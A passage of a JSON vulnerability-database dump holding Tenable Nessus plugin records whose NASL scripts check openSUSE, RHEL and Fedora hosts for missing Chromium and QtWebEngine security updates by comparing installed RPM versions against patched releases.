attribute:\"solution\",\n value:\"Update the affected chromium packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Google Chrome 80 JSCreate side-effect type confusion exploit');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromedriver\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromedriver-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:chromium-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.1\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/02/27\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/02/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/02/28\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromedriver-80.0.3987.122-lp151.2.66.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromedriver-debuginfo-80.0.3987.122-lp151.2.66.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromium-80.0.3987.122-lp151.2.66.1\", allowmaj:TRUE) ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromium-debuginfo-80.0.3987.122-lp151.2.66.1\", allowmaj:TRUE) ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"chromium-debugsource-80.0.3987.122-lp151.2.66.1\", allowmaj:TRUE) ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"chromedriver / chromedriver-debuginfo / chromium / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-11-21T05:57:02", "description": "An update for chromium-browser is now available for Red Hat Enterprise Linux 6 Supplementary.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.\n\nChromium is an open source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 80.0.3987.122.\n\nSecurity Fix(es) :\n\n* ICU: Integer overflow in UnicodeString::doAppend() (BZ#1807349)\n\n* chromium-browser: Type confusion in V8 (CVE-2020-6383)\n\n* chromium-browser: Use after free in WebAudio (CVE-2020-6384)\n\n* chromium-browser: Use after free in speech (CVE-2020-6386)\n\n* chromium-browser: Out of bounds memory access in streams (CVE-2020-6407)\n\n* chromium-browser: Type confusion in V8 (CVE-2020-6418)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "edition": 3, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-03-10T00:00:00", "title": "RHEL 6 : chromium-browser (RHSA-2020:0738)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6386", "CVE-2020-6383", "CVE-2020-10531", "CVE-2020-6418", "CVE-2020-6384"], "modified": "2020-03-10T00:00:00", "cpe": ["cpe:/a:redhat:rhel_extras:6", "p-cpe:/a:redhat:enterprise_linux:chromium-browser", "cpe:/o:redhat:enterprise_linux:6"], "id": "REDHAT-RHSA-2020-0738.NASL", "href": "https://www.tenable.com/plugins/nessus/134360", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:0738. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(134360);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/11/19\");\n\n script_cve_id(\n \"CVE-2020-10531\",\n \"CVE-2020-6383\",\n \"CVE-2020-6384\",\n \"CVE-2020-6386\",\n \"CVE-2020-6407\",\n \"CVE-2020-6418\"\n );\n script_xref(name:\"RHSA\", value:\"2020:0738\");\n\n script_name(english:\"RHEL 6 : chromium-browser (RHSA-2020:0738)\");\n script_summary(english:\"Checks the rpm output for the updated package\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"An update for chromium-browser is now available for Red Hat Enterprise Linux 6 Supplementary.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.\n\nChromium is an open source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 80.0.3987.122.\n\nSecurity Fix(es) :\n\n* ICU: Integer overflow in UnicodeString::doAppend() (BZ#1807349)\n\n* chromium-browser: Type confusion in V8 (CVE-2020-6383)\n\n* chromium-browser: Use after free in WebAudio (CVE-2020-6384)\n\n* chromium-browser: Use after free in speech (CVE-2020-6386)\n\n* chromium-browser: Out of bounds memory access in streams (CVE-2020-6407)\n\n* chromium-browser: Type confusion in V8 (CVE-2020-6418)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/190.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/843.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-6383\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-6384\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-6386\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-6407\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-6418\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-10531\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:0738\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1807343\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1807349\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1807381\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1807498\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1807499\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1807500\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected chromium-browser package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-6407\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Google Chrome 80 JSCreate side-effect type confusion exploit');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_cwe_id(190, 843);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/02/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/10\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_extras:6\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:chromium-browser\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, 'Red Hat 6.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'rhel_extras_6': [\n 'rhel-6-desktop-supplementary-debuginfo',\n 'rhel-6-desktop-supplementary-rpms',\n 'rhel-6-desktop-supplementary-source-rpms',\n 'rhel-6-for-hpc-node-supplementary-debuginfo',\n 'rhel-6-for-hpc-node-supplementary-rpms',\n 'rhel-6-for-hpc-node-supplementary-source-rpms',\n 'rhel-6-server-aus-supplementary-debuginfo',\n 'rhel-6-server-aus-supplementary-rpms',\n 'rhel-6-server-aus-supplementary-source-rpms',\n 'rhel-6-server-eus-supplementary-debuginfo',\n 'rhel-6-server-eus-supplementary-rpms',\n 'rhel-6-server-eus-supplementary-source-rpms',\n 'rhel-6-server-supplementary-debuginfo',\n 'rhel-6-server-supplementary-rpms',\n 'rhel-6-server-supplementary-source-rpms',\n 'rhel-6-workstation-supplementary-debuginfo',\n 'rhel-6-workstation-supplementary-rpms',\n 'rhel-6-workstation-supplementary-source-rpms',\n 'rhel-hpc-node-6-eus-supplementary-debug-rpms',\n 'rhel-hpc-node-6-eus-supplementary-rpms',\n 'rhel-hpc-node-6-eus-supplementary-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2020:0738');\n}\n\npkgs = [\n {'reference':'chromium-browser-80.0.3987.122-1.el6_10', 'cpu':'i686', 'release':'6', 'rpm_spec_vers_cmp':TRUE, 'allowmaj':TRUE, 'repo_list':['rhel_extras_6']},\n {'reference':'chromium-browser-80.0.3987.122-1.el6_10', 'cpu':'x86_64', 'release':'6', 'rpm_spec_vers_cmp':TRUE, 'allowmaj':TRUE, 'repo_list':['rhel_extras_6']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'chromium-browser');\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T10:12:45", "description": "This update updates QtWebEngine to the 5.9.1 release, a security and\nbugfix release from the 5.9 branch. QtWebEngine 5.9.1 is part of the\nQt 5.9.1 release, but only the QtWebEngine component is included in\nthis update.\n\nThe update fixes the following security issues in QtWebEngine 5.9.0:\nCVE-2017-5070, CVE-2017-5071, CVE-2017-5075, CVE-2017-5076,\nCVE-2017-5077, CVE-2017-5078, CVE-2017-5079, CVE-2017-5083,\nCVE-2017-5088, and CVE-2017-5089 (security fixes from Chromium up to\nversion 59.0.3071.104).\n\nOther notable bugfixes include :\n\n - [QTBUG-59690] Fixed issue with drops\n\n - [QTBUG-60588] Fixed error in updating user-agent and\n accept-language\n\n - [QTBUG-61047] Fixed assert in URLRequestContextGetterQt\n\n - [QTBUG-61186] Fixed cancellation of upload folder\n dialogs\n\n - [QTBUG-57675] Fixed\n WebEngineNewViewRequest::requestedUrl when opening\n window from JavaScript\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 23, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-18T00:00:00", "title": "Fedora 25 : qt5-qtwebengine (2017-a7a488d8d0)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5076", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5088", "CVE-2017-5089", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079"], "modified": "2017-07-18T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:qt5-qtwebengine", "cpe:/o:fedoraproject:fedora:25"], "id": "FEDORA_2017-A7A488D8D0.NASL", "href": "https://www.tenable.com/plugins/nessus/101779", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2017-a7a488d8d0.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101779);\n script_version(\"3.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5075\", \"CVE-2017-5076\", \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5083\", \"CVE-2017-5088\", \"CVE-2017-5089\");\n script_xref(name:\"FEDORA\", value:\"2017-a7a488d8d0\");\n\n script_name(english:\"Fedora 25 : qt5-qtwebengine (2017-a7a488d8d0)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update updates QtWebEngine to the 5.9.1 release, a security and\nbugfix release from the 5.9 branch. QtWebEngine 5.9.1 is part of the\nQt 5.9.1 release, but only the QtWebEngine component is included in\nthis update.\n\nThe update fixes the following security issues in QtWebEngine 5.9.0:\nCVE-2017-5070, CVE-2017-5071, CVE-2017-5075, CVE-2017-5076,\nCVE-2017-5077, CVE-2017-5078, CVE-2017-5079, CVE-2017-5083,\nCVE-2017-5088, and CVE-2017-5089 (security fixes from Chromium up to\nversion 59.0.3071.104).\n\nOther notable bugfixes include :\n\n - [QTBUG-59690] Fixed issue with drops\n\n - [QTBUG-60588] Fixed error in updating user-agent and\n accept-language\n\n - [QTBUG-61047] Fixed assert in URLRequestContextGetterQt\n\n - [QTBUG-61186] Fixed cancellation of upload folder\n dialogs\n\n - [QTBUG-57675] Fixed\n WebEngineNewViewRequest::requestedUrl when opening\n window from JavaScript\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2017-a7a488d8d0\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected qt5-qtwebengine package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:qt5-qtwebengine\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:25\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/10/27\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^25([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 25\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC25\", reference:\"qt5-qtwebengine-5.9.1-1.fc25\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"qt5-qtwebengine\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-12T10:15:22", "description": "This update updates QtWebEngine to the 5.9.1 release, a security and\nbugfix release from the 5.9 branch. QtWebEngine 5.9.1 is part of the\nQt 5.9.1 release, but only the QtWebEngine component is included in\nthis update.\n\nThe update fixes the following security issues in QtWebEngine 5.9.0:\nCVE-2017-5070, CVE-2017-5071, CVE-2017-5075, CVE-2017-5076,\nCVE-2017-5077, CVE-2017-5078, CVE-2017-5079, CVE-2017-5083,\nCVE-2017-5088, and CVE-2017-5089 (security fixes from Chromium up to\nversion 59.0.3071.104).\n\nOther notable bugfixes include :\n\n - [QTBUG-59690] Fixed issue with drops\n\n - [QTBUG-60588] Fixed error in updating user-agent and\n accept-language\n\n - [QTBUG-61047] Fixed assert in URLRequestContextGetterQt\n\n - [QTBUG-61186] Fixed cancellation of upload folder\n dialogs\n\n - [QTBUG-57675] Fixed\n WebEngineNewViewRequest::requestedUrl when opening\n window from JavaScript\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 23, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-07-17T00:00:00", "title": "Fedora 26 : qt5-qtwebengine (2017-1e34da27f3)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5076", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5088", "CVE-2017-5089", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079"], "modified": "2017-07-17T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:qt5-qtwebengine", "cpe:/o:fedoraproject:fedora:26"], "id": "FEDORA_2017-1E34DA27F3.NASL", "href": "https://www.tenable.com/plugins/nessus/101583", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2017-1e34da27f3.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101583);\n script_version(\"3.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5075\", \"CVE-2017-5076\", \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5083\", \"CVE-2017-5088\", \"CVE-2017-5089\");\n script_xref(name:\"FEDORA\", value:\"2017-1e34da27f3\");\n\n script_name(english:\"Fedora 26 : qt5-qtwebengine (2017-1e34da27f3)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update updates QtWebEngine to the 5.9.1 release, a security and\nbugfix release from the 5.9 branch. QtWebEngine 5.9.1 is part of the\nQt 5.9.1 release, but only the QtWebEngine component is included in\nthis update.\n\nThe update fixes the following security issues in QtWebEngine 5.9.0:\nCVE-2017-5070, CVE-2017-5071, CVE-2017-5075, CVE-2017-5076,\nCVE-2017-5077, CVE-2017-5078, CVE-2017-5079, CVE-2017-5083,\nCVE-2017-5088, and CVE-2017-5089 (security fixes from Chromium up to\nversion 59.0.3071.104).\n\nOther notable bugfixes include :\n\n - [QTBUG-59690] Fixed issue with drops\n\n - [QTBUG-60588] Fixed error in updating user-agent and\n accept-language\n\n - [QTBUG-61047] Fixed assert in URLRequestContextGetterQt\n\n - [QTBUG-61186] Fixed cancellation of upload folder\n dialogs\n\n - [QTBUG-57675] Fixed\n WebEngineNewViewRequest::requestedUrl when opening\n window from JavaScript\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2017-1e34da27f3\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected qt5-qtwebengine package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:qt5-qtwebengine\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:26\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/10/27\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/17\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^26([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 26\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") 